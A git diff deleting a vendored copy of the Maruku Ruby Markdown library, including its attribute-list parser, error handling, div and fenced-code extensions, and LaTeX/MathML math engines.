-  <char num='210' name='Ograve' convertTo='\`O' />
-  <char num='211' name='Oacute' convertTo='\@QUOT O' />
-  <char num='212' name='Ocirc' convertTo='\^O' />
-  <char num='213' name='Otilde' convertTo='\~O' />
-  <char num='214' name='Ouml' convertTo='\@DOUBLEQUOTO' />
-  <char num='215' name='times' convertTo='$\times$' />
-  <char num='216' name='Oslash' convertTo='\O' />
-  <char num='217' name='Ugrave' convertTo='\`U' />
-  <char num='218' name='Uacute' convertTo='\@QUOTU' />
-  <char num='219' name='Ucirc' convertTo='\^U' />
-  <char num='220' name='Uuml' convertTo='\@DOUBLEQUOTU' />
-  <char num='221' name='Yacute' convertTo='\@QUOTY' />
-  <char num='223' name='szlig' convertTo='\ss' />
-  <char num='224' name='agrave' convertTo='\`a' />
-  <char num='225' name='aacute' convertTo='\@QUOTa' />
-  <char num='226' name='acirc' convertTo='\^a' />
-  <char num='227' name='atilde' convertTo='\~a' />
-  <char num='228' name='auml' convertTo='\@DOUBLEQUOTa' />
-  <char num='229' name='aring' convertTo='\aa' />
-  <char num='230' name='aelig' convertTo='\ae' />
-  <char num='231' name='ccedil' convertTo='\c{c}' />
-  <char num='232' name='egrave' convertTo='\`e' />
-  <char num='233' name='eacute' convertTo='\@QUOTe' />
-  <char num='234' name='ecirc' convertTo='\^e' />
-  <char num='235' name='euml' convertTo='\@DOUBLEQUOTe' />    
-  <char num='236' name='igrave' convertTo='\`i' />
-  <char num='237' name='iacute' convertTo='\@QUOTi' />
-  <char num='238' name='icirc' convertTo='\^i' />
-  <char num='239' name='iuml' convertTo='\@DOUBLEQUOTi' />
-  <char num='240' name='eth' convertTo='$\eth$' package='amssymb'/> <!-- -->
-  <char num='241' name='ntilde' convertTo='\~n' />
-  <char num='242' name='ograve' convertTo='\`o' />
-  <char num='243' name='oacute' convertTo='\@QUOTo' />
-  <char num='244' name='ocirc' convertTo='\^o' />
-  <char num='245' name='otilde' convertTo='\~o' />
-  <char num='246' name='ouml' convertTo='\@DOUBLEQUOTo' />
-  <!--   <char num='247' name='divide' convertTo='$\divide$' />       -->
-  <char num='248' name='oslash' convertTo='\o' /> 
-  <char num='249' name='ugrave' convertTo='\`u' />
-  <char num='250' name='uacute' convertTo='\@QUOTu' />
-  <char num='251' name='ucirc' convertTo='\^u' />
-  <char num='252' name='uuml' convertTo='\@DOUBLEQUOTu' />
-  <char num='253' name='yacute' convertTo='\@QUOTy' />
-  
-  <char num='255' name='yuml' convertTo='\@DOUBLEQUOTy' />                  
-  
-  <char num='222' name='THORN' convertTo='\Thorn' package='wasysym' /> 
-  <char num='254' name='thorn' convertTo='\thorn' package='wasysym' />
-</chars>
diff --git a/vendor/plugins/maruku/lib/maruku.rb b/vendor/plugins/maruku/lib/maruku.rb
deleted file mode 100644
index 8407a089..00000000
--- a/vendor/plugins/maruku/lib/maruku.rb
+++ /dev/null
@@ -1,132 +0,0 @@
-#   Copyright (C) 2006  Andrea Censi  <andrea (at) rubyforge.org>
-#
-# This file is part of Maruku.
-#
-#   Maruku is free software; you can redistribute it and/or modify
-#   it under the terms of the GNU General Public License as published by
-#   the Free Software Foundation; either version 2 of the License, or
-#   (at your option) any later version.
-#
-#   Maruku is distributed in the hope that it will be useful,
-#   but WITHOUT ANY WARRANTY; without even the implied warranty of
-#   MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
-#   GNU General Public License for more details.
-#
-#   You should have received a copy of the GNU General Public License
-#   along with Maruku; if not, write to the Free Software
-#   Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA  02110-1301  USA
-
-dir = File.dirname(__FILE__)
-$LOAD_PATH.unshift dir unless $LOAD_PATH.include?(dir)
-
-require 'rexml/document'
-
-module MaRuKu
-  module In
-    module Markdown
-      module SpanLevelParser; end
-      module BlockLevelParser; end
-    end
-  end
-
-  module Out
-    module Markdown; end
-    module HTML; end
-    module Latex; end
-  end
-
-  module Strings; end
-
-  module Helpers; end
-
-  module Errors; end
-
-  class MDElement
-    include REXML
-    include MaRuKu
-    include Out::Markdown
-    include Out::HTML
-    include Out::Latex
-    include Strings
-    include Helpers
-    include Errors
-  end
-
-
-  class MDDocument < MDElement
-    include In::Markdown
-    include In::Markdown::SpanLevelParser
-    include In::Markdown::BlockLevelParser
-  end
-end
-
-class Maruku < MaRuKu::MDDocument; end
-
-
-# Structures definition
-require 'maruku/structures'
-require 'maruku/structures_inspect'
-
-require 'maruku/defaults'
-# Less typing
-require 'maruku/helpers'
-
-# Code for parsing whole Markdown documents
-require 'maruku/input/parse_doc'
-
-# Ugly things kept in a closet
-require 'maruku/string_utils'
-require 'maruku/input/linesource'
-require 'maruku/input/type_detection'
-
-# A class for reading and sanitizing inline HTML
-require 'maruku/input/html_helper'
-
-# Code for parsing Markdown block-level elements
-require 'maruku/input/parse_block'
-
-# Code for parsing Markdown span-level elements
-require 'maruku/input/charsource'
-require 'maruku/input/parse_span_better'
-require 'maruku/input/rubypants'
-
-require 'maruku/input/extensions'
-
-require 'maruku/attributes'
-
-require 'maruku/structures_iterators'
-
-require 'maruku/errors'
-
-# Code for creating a table of contents
-require 'maruku/toc'
-
-# Support for div Markdown extension
-require 'maruku/ext/div'
-# Support for fenced codeblocks extension
-require 'maruku/ext/fenced_code'
-
-# Version and URL
-require 'maruku/version'
-
-
-# Exporting to html
-require 'maruku/output/to_html'
-
-# Exporting to latex
-require 'maruku/output/to_latex'
-require 'maruku/output/to_latex_strings'
-require 'maruku/output/to_latex_entities'
-
-# Pretty print
-require 'maruku/output/to_markdown'
-
-# S5 slides
-require 'maruku/output/s5/to_s5'
-require 'maruku/output/s5/fancy'
-
-# Exporting to text: strips all formatting (not complete)
-require 'maruku/output/to_s'
-
-# class Maruku is the global interface
-require 'maruku/maruku'
diff --git a/vendor/plugins/maruku/lib/maruku/attributes.rb b/vendor/plugins/maruku/lib/maruku/attributes.rb
deleted file mode 100644
index a1f901cd..00000000
--- a/vendor/plugins/maruku/lib/maruku/attributes.rb
+++ /dev/null
@@ -1,138 +0,0 @@
-#   Copyright (C) 2006  Andrea Censi  <andrea (at) rubyforge.org>
-#
-# This file is part of Maruku.
-#
-#   Maruku is free software; you can redistribute it and/or modify
-#   it under the terms of the GNU General Public License as published by
-#   the Free Software Foundation; either version 2 of the License, or
-#   (at your option) any later version.
-#
-#   Maruku is distributed in the hope that it will be useful,
-#   but WITHOUT ANY WARRANTY; without even the implied warranty of
-#   MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
-#   GNU General Public License for more details.
-#
-#   You should have received a copy of the GNU General Public License
-#   along with Maruku; if not, write to the Free Software
-#   Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA  02110-1301  USA
-
-
-module MaRuKu
-  # This represents a list of attributes specified in the Markdown document
-  # that apply to a Markdown-generated tag.
-  # What was `{#id .class key="val" ref}` in the Markdown
-  # is parsed into `[[:id, 'id'], [:class, 'id'], ['key', 'val'], [:ref, 'ref']]`.
-  class AttributeList < Array
-    def to_s
-      map do |k, v|
-        case k
-        when :id;    "#" + quote_if_needed(v)
-        when :class; "." + quote_if_needed(v)
-        when :ref;    quote_if_needed(v)
-        else quote_if_needed(k) + "=" + quote_if_needed(v)
-        end
-      end.join(' ')
-    end
-    alias to_md to_s
-
-    private
-
-    def quote_if_needed(str)
-      return str unless str =~ /[\s'"]/
-      str.inspect
-    end
-  end
-
-  module In::Markdown::SpanLevelParser
-    def md_al(s = []); AttributeList.new(s); end
-
-    # @return [AttributeList, nil]
-    def read_attribute_list(src, con, break_on_chars)
-      separators = break_on_chars + [?=, ?\s, ?\t]
-      escaped = Maruku::EscapedCharInQuotes
-
-      al = AttributeList.new
-      loop do
-        src.consume_whitespace
-        break if break_on_chars.include? src.cur_char
-
-        case src.cur_char
-        when nil
-          maruku_error "Attribute list terminated by EOF:\n #{al.inspect}", src, con
-          tell_user "Returning partial attribute list:\n #{al.inspect}"
-          break
-        when ?=     # error
-          src.ignore_char
-          maruku_error "In attribute lists, cannot start identifier with `=`."
-          tell_user "Ignoring and continuing."
-        when ?#     # id definition
-          src.ignore_char
-          if id = read_quoted_or_unquoted(src, con, escaped, separators)
-            al << [:id, id]
-          else
-            maruku_error 'Could not read `id` attribute.', src, con
-            tell_user 'Ignoring bad `id` attribute.'
-          end
-        when ?.     # class definition
-          src.ignore_char
-          if klass = read_quoted_or_unquoted(src, con, escaped, separators)
-            al << [:class, klass]
-          else
-            maruku_error 'Could not read `class` attribute.', src, con
-            tell_user 'Ignoring bad `class` attribute.'
-          end
-        else
-          unless key = read_quoted_or_unquoted(src, con, escaped, separators)
-            maruku_error 'Could not read key or reference.'
-            next
-          end
-
-          if src.cur_char != ?=
-            al << [:ref, key]
-            next
-          end
-
-          src.ignore_char # skip the =
-          if val = read_quoted_or_unquoted(src, con, escaped, separators)
-            al << [key, val]
-          else
-            maruku_error "Could not read value for key #{key.inspect}.", src, con
-            tell_user "Ignoring key #{key.inspect}"
-          end
-        end
-      end
-      al
-    end
-
-    def merge_ial(elements, src, con)
-      # Apply each IAL to the element before
-      (elements + [nil]).each_cons(3) do |before, e, after|
-        next unless ial?(e)
-
-        if before.kind_of? MDElement
-          before.al = e.ial
-        elsif after.kind_of? MDElement
-          after.al = e.ial
-        else
-          maruku_error <<ERR, src, con
-It's unclear which element the attribute list {:#{e.ial.to_md}}
-is referring to. The element before is a #{before.class},
-the element after is a #{after.class}.
-  before: #{before.inspect}
-  after: #{after.inspect}
-ERR
-        end
-      end
-
-      unless Globals[:debug_keep_ials]
-        elements.delete_if {|x| ial?(x) && x != elements.first}
-      end
-    end
-
-    private
-
-    def ial?(e)
-      e.is_a?(MDElement) && e.node_type == :ial
-    end
-  end
-end
diff --git a/vendor/plugins/maruku/lib/maruku/defaults.rb b/vendor/plugins/maruku/lib/maruku/defaults.rb
deleted file mode 100644
index d892ea7d..00000000
--- a/vendor/plugins/maruku/lib/maruku/defaults.rb
+++ /dev/null
@@ -1,66 +0,0 @@
-#   Copyright (C) 2006  Andrea Censi  <andrea (at) rubyforge.org>
-#
-# This file is part of Maruku.
-#
-#   Maruku is free software; you can redistribute it and/or modify
-#   it under the terms of the GNU General Public License as published by
-#   the Free Software Foundation; either version 2 of the License, or
-#   (at your option) any later version.
-#
-#   Maruku is distributed in the hope that it will be useful,
-#   but WITHOUT ANY WARRANTY; without even the implied warranty of
-#   MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
-#   GNU General Public License for more details.
-#
-#   You should have received a copy of the GNU General Public License
-#   along with Maruku; if not, write to the Free Software
-#   Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA  02110-1301  USA
-
-
-module MaRuKu
-
-  Globals = {
-    :unsafe_features => false,
-    :on_error => :warning,
-
-    :use_numbered_headers => false,
-
-    :maruku_signature => false,
-    :code_background_color => '#fef',
-    :code_show_spaces => false,
-
-    :filter_html => false,
-
-    :html_math_output_mathml => true, # also set :html_math_engine
-    :html_math_engine => 'itex2mml', #ritex, itex2mml, none
-
-    :html_math_output_png => false,
-    :html_png_engine => 'none',
-    :html_png_dir => 'pngs',
-    :html_png_url => 'pngs/',
-    :html_png_resolution => 200,
-
-    :html_use_syntax => true,
-
-    :latex_use_listings => false,
-    :latex_cjk => false,
-    :latex_cache_file  => "blahtex_cache.pstore", # cache file for blahtex filter
-
-    :debug_keep_ials => false,
-    :doc_prefix => '',
-
-    :ignore_wikilinks => true
-  }
-
-  class MDElement
-    def get_setting(sym)
-      return attributes[sym] if attributes.has_key?(sym)
-      return doc.attributes[sym] if doc && doc.attributes.has_key?(sym)
-      return MaRuKu::Globals[sym] if MaRuKu::Globals.has_key?(sym)
-
-      $stderr.puts "Bug: no default for #{sym.inspect}"
-      nil
-    end
-  end
-
-end
diff --git a/vendor/plugins/maruku/lib/maruku/errors.rb b/vendor/plugins/maruku/lib/maruku/errors.rb
deleted file mode 100644
index bbdcc102..00000000
--- a/vendor/plugins/maruku/lib/maruku/errors.rb
+++ /dev/null
@@ -1,89 +0,0 @@
-#   Copyright (C) 2006  Andrea Censi  <andrea (at) rubyforge.org>
-#
-# This file is part of Maruku.
-#
-#   Maruku is free software; you can redistribute it and/or modify
-#   it under the terms of the GNU General Public License as published by
-#   the Free Software Foundation; either version 2 of the License, or
-#   (at your option) any later version.
-#
-#   Maruku is distributed in the hope that it will be useful,
-#   but WITHOUT ANY WARRANTY; without even the implied warranty of
-#   MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
-#   GNU General Public License for more details.
-#
-#   You should have received a copy of the GNU General Public License
-#   along with Maruku; if not, write to the Free Software
-#   Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA  02110-1301  USA
-
-
-module MaRuKu
-  class Exception < RuntimeError; end
-
-  module Errors
-    FRAME_WIDTH = 75
-
-    # Properly handles a formatting error.
-    # All such errors go through this method.
-    #
-    # The behavior depends on {MaRuKu::Globals `MaRuKu::Globals[:on_error]`}.
-    # If this is `:warning`, this prints the error to stderr
-    # (or `@error_stream if` it's defined) and tries to continue.
-    # If `:on_error` is `:ignore`, this doesn't print anything
-    # and tries to continue. If it's `:raise`, this raises a {MaRuKu::Exception}.
-    #
-    # By default, `:on_error` is set to `:warning`.
-    #
-    # @overload def maruku_error(s, src = nil, con = nil)
-    # @param s [String] The text of the error
-    # @param src [#describe, nil] The source of the error
-    # @param con [#describe, nil] The context of the error
-    # @raise [MaRuKu::Exception] If `:on_error` is set to `:raise`
-    def maruku_error(*args)
-      policy = get_setting(:on_error)
-
-      case policy
-      when :ignore
-      when :raise
-        raise_error create_frame(describe_error(*args))
-      when :warning
-        tell_user create_frame(describe_error(*args))
-      else
-        raise "Unknown on_error policy: #{policy.inspect}"
-      end
-    end
-
-    def maruku_recover(*args)
-      tell_user create_frame(describe_error(*args))
-    end
-    alias error maruku_error
-
-    def raise_error(s)
-      raise MaRuKu::Exception, s, caller
-    end
-
-    def tell_user(s)
-      (self.attributes[:error_stream] || $stderr) << s
-    end
-
-    private
-
-    def create_frame(s)
-      "\n" + <<FRAME
- #{"_" * FRAME_WIDTH}
-| Maruku tells you:
-+#{"-" * FRAME_WIDTH}
-#{s.gsub(/^/, '| ').rstrip}
-+#{"-" * FRAME_WIDTH}
-#{caller[0...5].join("\n").gsub(/^/, '!')}
-\\#{"_" * FRAME_WIDTH}
-FRAME
-    end
-
-    def describe_error(s, src = nil, con = nil)
-      s += "\n#{src.describe}\n" if src
-      s += "\n#{con.describe}\n" if con
-      s
-    end
-  end
-end
diff --git a/vendor/plugins/maruku/lib/maruku/ext/div.rb b/vendor/plugins/maruku/lib/maruku/ext/div.rb
deleted file mode 100644
index e378fb23..00000000
--- a/vendor/plugins/maruku/lib/maruku/ext/div.rb
+++ /dev/null
@@ -1,121 +0,0 @@
-#+-----------------------------------{.warning}------
-#| this is the last warning!
-#|
-#| please, go away!
-#|
-#| +------------------------------------- {.menace} --
-#| | or else terrible things will happen
-#| +--------------------------------------------------
-#+---------------------------------------------------
-
-# TODO: Scope these properly
-OpenDiv = /^[ ]{0,3}\+\-\-+\s*(\{([^{}]*?|".*?"|'.*?')*\})?\s*\-*\s*$/
-CloseDiv = /^[ ]{0,3}\=\-\-+\s*(\{([^{}]*?|".*?"|'.*?')*\})?\s*\-*\s*$/
-StartPipe = /^[ ]{0,3}\|(.*)$/ # $1 is rest of line
-DecorativeClosing = OpenDiv
-
-MaRuKu::In::Markdown.register_block_extension(
-  :regexp  => OpenDiv,
-  :handler => lambda do |doc, src, context|
-    first = src.shift_line
-    ial_at_beginning = first[OpenDiv, 1]
-    ial_at_end = nil
-
-    lines = []
-    # if second line starts with "|"
-    if src.cur_line =~ StartPipe
-      # then we read until no more "|"
-      while src.cur_line && src.cur_line =~ StartPipe
-        lines.push $1
-        src.shift_line
-      end
-      if src.cur_line =~ DecorativeClosing
-        ial_at_end = $1
-        src.shift_line
-      end
-    else
-      # else we read until CloseDiv
-      divs_open = 1
-      while src.cur_line && divs_open > 0
-        if src.cur_line =~ CloseDiv
-          divs_open -= 1
-          if divs_open == 0
-            ial_at_end = $1
-            src.shift_line
-            break
-          else
-            lines.push src.shift_line
-          end
-        else
-          if src.cur_line =~ OpenDiv
-            divs_open += 1
-          end
-          lines.push src.shift_line
-        end
-      end
-
-      if divs_open > 0
-        doc.maruku_error("At end of input, I still have #{divs_open} DIVs open.",
-          src, context)
-        next true
-      end
-    end
-
-    ial_at_beginning = nil unless ial_at_beginning && ial_at_beginning.size > 0
-    ial_at_end = nil unless ial_at_end && ial_at_end.size > 0
-
-    if ial_at_beginning && ial_at_end
-      doc.maruku_error("Found two conflicting IALs: #{ial_at_beginning.inspect} and #{ial_at_end.inspect}",
-        src, context)
-    end
-
-    al_string = ial_at_beginning || ial_at_end
-    al = nil
-
-    if al_string =~ /^\{(.*)\}\s*$/
-      al = al_string && doc.read_attribute_list(
-        MaRuKu::In::Markdown::SpanLevelParser::CharSource.new($1),
-        nil, [nil])
-    end
-
-    context.push(
-      doc.md_div(
-        doc.parse_blocks(
-          MaRuKu::In::Markdown::BlockLevelParser::LineSource.new(lines)),
-        al))
-    true
-  end)
-
-module MaRuKu
-  class MDElement
-    def md_div(children, al = nil)
-      type = label = num = nil
-      doc.refid2ref ||= {}
-      if al
-        al.each do |k, v|
-          case k
-          when :class; type = $1 if v =~ /^num_(\w*)/
-          when :id; label = v
-          end
-        end
-      end
-
-      if type
-        doc.refid2ref[type] ||= {}
-        num = doc.refid2ref[type].length + 1
-      end
-
-      e = self.md_el(:div, children, {:label => label, :type => type, :num => num}, al)
-      doc.refid2ref[type].update(label => e) if type && label
-      e
-    end
-  end
-
-  module Out
-    module HTML
-      def to_html_div
-        add_ws wrap_as_element('div')
-      end
-    end
-  end
-end
diff --git a/vendor/plugins/maruku/lib/maruku/ext/fenced_code.rb b/vendor/plugins/maruku/lib/maruku/ext/fenced_code.rb
deleted file mode 100644
index 904826f5..00000000
--- a/vendor/plugins/maruku/lib/maruku/ext/fenced_code.rb
+++ /dev/null
@@ -1,78 +0,0 @@
-# fenced_code.rb -- Maruku extension for fenced code blocks
-#
-# Copyright (C) 2009 Jason R. Blevins
-# All rights reserved.
-#
-# Redistribution and use in source and binary forms, with or without
-# modification, are permitted provided that the following conditions are met:
-#
-#  * Redistributions of source code must retain the above copyright notice,
-#    this list of conditions and the following disclaimer.
-#
-#  * Redistributions in binary form must reproduce the above copyright notice,
-#    this list of conditions and the following disclaimer in the documentation
-#    and/or other materials provided with the distribution.
-#
-#  * Neither the names of the copyright holders nor the names of any
-#    contributors may be used to endorse or promote products derived from this
-#    software without specific prior written permission.
-#
-# THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS"
-# AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
-# IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE
-# ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE
-# LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR
-# CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF
-# SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS
-# INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN
-# CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE)
-# ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE
-# POSSIBILITY OF SUCH DAMAGE.
-#
-# Fenced code blocks begin with three or more tildes and are terminated
-# by a closing line with at least as many tildes as the opening line.
-# Optionally, an attribute list may appear at the end of the opening
-# line.  For example:
-#
-# ~~~~~~~~~~~~~ {: lang=ruby }
-# puts 'Hello world'
-# ~~~~~~~~~~~~~~~~~~~~~~~~~~~~
-
-OpenFence = /^(~~~+?)\s*(\{([^{}]*?|".*?"|'.*?')*\})?\s*$/
-
-MaRuKu::In::Markdown::register_block_extension(
-	:regexp  => OpenFence,
-	:handler => lambda { |doc, src, context|
-
-	first = src.shift_line
-	first =~ OpenFence
-	close_fence = /^#{$1}~*$/
-	ial = $2
-
-	lines = []
-
-	# read until CloseFence
-	while src.cur_line
-		if src.cur_line =~ close_fence
-			src.shift_line
-			break
-		else
-			lines.push src.shift_line
-		end
-	end
-
-	ial = nil unless (ial && ial.size > 0)
-	al = nil
-
-	if ial =~ /^\{(.*?)\}\s*$/
-		inside = $1
-		cs = MaRuKu::In::Markdown::SpanLevelParser::CharSource
-		al = ial &&
-			doc.read_attribute_list(cs.new(inside),
-				its_context=nil, break_on=[nil])
-	end
-
-	source = lines.join("\n")
-	context.push doc.md_codeblock(source, al)
-	true
-})
diff --git a/vendor/plugins/maruku/lib/maruku/ext/math.rb b/vendor/plugins/maruku/lib/maruku/ext/math.rb
deleted file mode 100644
index 4f9773b3..00000000
--- a/vendor/plugins/maruku/lib/maruku/ext/math.rb
+++ /dev/null
@@ -1,37 +0,0 @@
-require 'maruku/ext/math/elements'
-require 'maruku/ext/math/parsing'
-require 'maruku/ext/math/to_latex'
-require 'maruku/ext/math/to_html'
-
-require 'maruku/ext/math/mathml_engines/none'
-require 'maruku/ext/math/mathml_engines/ritex'
-require 'maruku/ext/math/mathml_engines/itex2mml'
-require 'maruku/ext/math/mathml_engines/blahtex'
-
-=begin maruku_doc
-Attribute: math_enabled
-Scope: global, document
-Summary: Enables parsing of LaTeX math 
-
-To explicitly disable the math parsing:
-
-	Maruku.new(string, {:math_enabled => false})
-	{:ruby}
-	
-=end
-
-MaRuKu::Globals[:math_enabled] = true
-
-
-=begin maruku_doc
-Attribute: math_numbered
-Scope: global, document
-Summary: Math openings which should be numerated
-
-Array containing any of `'\\['`, `'\\begin{equation}'`, `'$$'`.
-
-	MaRuKu::Globals[:math_numbered] = ['\\[']
-	
-=end
-
-MaRuKu::Globals[:math_numbered] = [] 
diff --git a/vendor/plugins/maruku/lib/maruku/ext/math/elements.rb b/vendor/plugins/maruku/lib/maruku/ext/math/elements.rb
deleted file mode 100644
index e3d75f03..00000000
--- a/vendor/plugins/maruku/lib/maruku/ext/math/elements.rb
+++ /dev/null
@@ -1,21 +0,0 @@
-module MaRuKu
-  class MDElement
-    def md_inline_math(math)
-      self.md_el(:inline_math, [], :math => math)
-    end
-
-    def md_equation(math, label, numerate)
-      reglabel = /\\label\{(\w+)\}/
-      math = math.gsub(reglabel, '') if label = math[reglabel, 1]
-      num = nil
-      if (label || numerate) && @doc # take number
-        @doc.eqid2eq ||= {}
-        num = @doc.eqid2eq.size + 1
-        label = "eq#{num}" if not label # TODO do id for document
-      end
-      e = self.md_el(:equation, [], :math => math, :label => label, :num => num)
-      @doc.eqid2eq[label] = e if label && @doc # take number
-      e
-    end
-  end
-end
diff --git a/vendor/plugins/maruku/lib/maruku/ext/math/latex_fix.rb b/vendor/plugins/maruku/lib/maruku/ext/math/latex_fix.rb
deleted file mode 100644
index c0d45e32..00000000
--- a/vendor/plugins/maruku/lib/maruku/ext/math/latex_fix.rb
+++ /dev/null
@@ -1,12 +0,0 @@
-class String
-	# fix some LaTeX command-name clashes
-	def fix_latex
-		if #{html_math_engine} == 'itex2mml'
-			s = self.gsub("\\mathop{", "\\operatorname{")
-			s.gsub!(/\\begin\{svg\}.*?\\end\{svg\}/m, " ")
-                        s.gsub("\\space{", "\\itexspace{")
-		else
-			self
-		end
-	end
-end
diff --git a/vendor/plugins/maruku/lib/maruku/ext/math/mathml_engines/blahtex.rb b/vendor/plugins/maruku/lib/maruku/ext/math/mathml_engines/blahtex.rb
deleted file mode 100644
index c8d87745..00000000
--- a/vendor/plugins/maruku/lib/maruku/ext/math/mathml_engines/blahtex.rb
+++ /dev/null
@@ -1,94 +0,0 @@
-require 'tempfile'
-require 'fileutils'
-require 'digest/md5'
-require 'pstore'
-require 'nokogiri'
-
-module MaRuKu
-  module Out
-    module HTML
-      PNG = Struct.new(:src, :depth, :height)
-
-      def convert_to_png_blahtex(kind, tex)
-        FileUtils.mkdir_p get_setting(:html_png_dir)
-
-        # first, we check whether this image has already been processed
-        md5sum = Digest::MD5.hexdigest(tex + " params: ")
-        result_file = File.join(get_setting(:html_png_dir), md5sum + ".txt")
-
-        if not File.exists?(result_file)
-          Tempfile.open('maruku_blahtex') do |tmp_in|
-            tmp_in.write tex
-            tmp_in.close
-
-            # It's important taht we don't replace *all* newlines,
-            # because newlines in arguments get escaped as "'\n'".
-            system <<COMMAND.gsub("\n  ", " ")
-blahtex --png --use-preview-package
-  --shell-dvipng #{shellescape("dvipng -D #{shellescape(get_setting(:html_png_resolution).to_s)}")}
-  #{'--displaymath' if kind == :equation}
-  --temp-directory #{shellescape(get_setting(:html_png_dir))}
-  --png-directory #{shellescape(get_setting(:html_png_dir))}
-  < #{shellescape(tmp_in.path)}
-  > #{shellescape(result_file)}
-COMMAND
-          end
-        end
-
-        result = File.read(result_file)
-        if result.nil? || result.empty?
-          maruku_error "Blahtex error: empty output"
-          return
-        end
-
-        doc = Nokogiri::XML::Document.parse(result)
-        png = doc.root.elements.to_a[0]
-        if png.name != 'png'
-          maruku_error "Blahtex error: \n#{doc}"
-          return
-        end
-
-        raise "No depth element in:\n #{doc}" unless depth = png.xpath('//depth')[0]
-        raise "No height element in:\n #{doc}" unless height = png.xpath('//height')[0]
-        raise "No md5 element in:\n #{doc}" unless md5 = png.xpath('//md5')[0]
-
-        depth = depth.text.to_f
-        height = height.text.to_f # TODO: check != 0
-        md5 = md5.text
-
-        PNG.new("#{get_setting(:html_png_url)}#{md5}.png", depth, height)
-      rescue Exception => e
-        maruku_error "Error: #{e}"
-      end
-
-
-      def convert_to_mathml_blahtex(kind, tex)
-        @@BlahtexCache ||= PStore.new(get_setting(:latex_cache_file))
-
-        @@BlahtexCache.transaction do
-          if @@BlahtexCache[tex].nil?
-            Tempfile.open('maruku_blahtex') do |tmp_in|
-              tmp_in.write tex
-
-              Tempfile.new('maruku_blahtex') do |tmp_out|
-                system "blahtex --mathml < #{shellescape(tmp_in.path)} > #{shellescape(tmp_out.path)}"
-                @@BlahtexCache[tex] = tmp_out.read
-              end
-            end
-          end
-
-          blahtex = @@BlahtexCache[tex]
-          doc = Document.new(blahtex, :respect_whitespace => :all)
-          unless mathml = doc.root.elements['mathml']
-            maruku_error "Blahtex error: \n#{doc}"
-            return
-          end
-
-          return mathml
-        end
-      rescue Exception => e
-        maruku_error "Error: #{e}"
-      end
-    end
-  end
-end
diff --git a/vendor/plugins/maruku/lib/maruku/ext/math/mathml_engines/itex2mml.rb b/vendor/plugins/maruku/lib/maruku/ext/math/mathml_engines/itex2mml.rb
deleted file mode 100644
index e368b4ba..00000000
--- a/vendor/plugins/maruku/lib/maruku/ext/math/mathml_engines/itex2mml.rb
+++ /dev/null
@@ -1,39 +0,0 @@
-module MaRuKu
-  module Out
-    module HTML
-      def convert_to_mathml_itex2mml(kind, tex)
-        return if $already_warned_itex2mml
-        begin
-          require 'itextomml'
-        rescue LoadError => e
-          maruku_error "Could not load package 'itex2mml'.\nPlease install it." unless $already_warned_itex2mml
-          $already_warned_itex2mml = true
-          return nil
-        end
-        begin
-          require 'instiki_stringsupport'
-        rescue LoadError
-          require 'itex_stringsupport'
-        end
-
-        parser = Itex2MML::Parser.new
-        mathml =
-          case kind
-          when :equation; parser.block_filter(tex)
-          when :inline; parser.inline_filter(tex)
-          else
-            maruku_error "Unknown itex2mml kind: #{kind}"
-            return
-          end
-        d = Nokogiri::XML::Document.parse(mathml.to_utf8)
-        return d.root
-      rescue Exception => e
-        maruku_error "Invalid MathML TeX: \n#{tex.gsub(/^/, 'tex>')}\n\n #{e.inspect}"
-        nil
-      rescue
-        maruku_error "Could not produce MathML TeX: \n#{tex}\n\n #{e.inspect}"
-        nil
-      end
-    end
-  end
-end
diff --git a/vendor/plugins/maruku/lib/maruku/ext/math/mathml_engines/none.rb b/vendor/plugins/maruku/lib/maruku/ext/math/mathml_engines/none.rb
deleted file mode 100644
index 16060795..00000000
--- a/vendor/plugins/maruku/lib/maruku/ext/math/mathml_engines/none.rb
+++ /dev/null
@@ -1,20 +0,0 @@
-module MaRuKu; module Out; module HTML
-
-  require 'maruku/string_utils'
-  require 'nokogiri'
-
-	def convert_to_mathml_none(kind, tex)
-		# You can: either return a nokogiri::XML::Element
-		# or return an empty array on error
-		#    return []  
-		mathml = "<code>#{html_escape(tex)}</code>"
-		return Nokogiri::XML::Document.parse(mathml).root
-	end
-
-	def convert_to_png_none(kind, tex)
-		return nil
-	end
-
-
-end end end
-
diff --git a/vendor/plugins/maruku/lib/maruku/ext/math/mathml_engines/ritex.rb b/vendor/plugins/maruku/lib/maruku/ext/math/mathml_engines/ritex.rb
deleted file mode 100644
index 199eff5c..00000000
--- a/vendor/plugins/maruku/lib/maruku/ext/math/mathml_engines/ritex.rb
+++ /dev/null
@@ -1,24 +0,0 @@
-module MaRuKu; module Out; module HTML
-
-	def convert_to_mathml_ritex(kind, tex)
-		begin
-			if not $ritex_parser
-				require 'ritex'
-			 	$ritex_parser = Ritex::Parser.new
-			end
-			
-			mathml =  $ritex_parser.parse(tex.strip)
-			doc = Document.new(mathml, {:respect_whitespace =>:all}).root
-			return doc
-		rescue LoadError => e
-			maruku_error "Could not load package 'ritex'.\n"+
-			"Please install it using:\n"+
-			"   $ gem install ritex\n\n"+e.inspect
-		rescue Racc::ParseError => e
-			maruku_error "Could not parse TeX: \n#{tex}"+
-				"\n\n #{e.inspect}"
-		end
-		nil
-	end
-	
-end end end
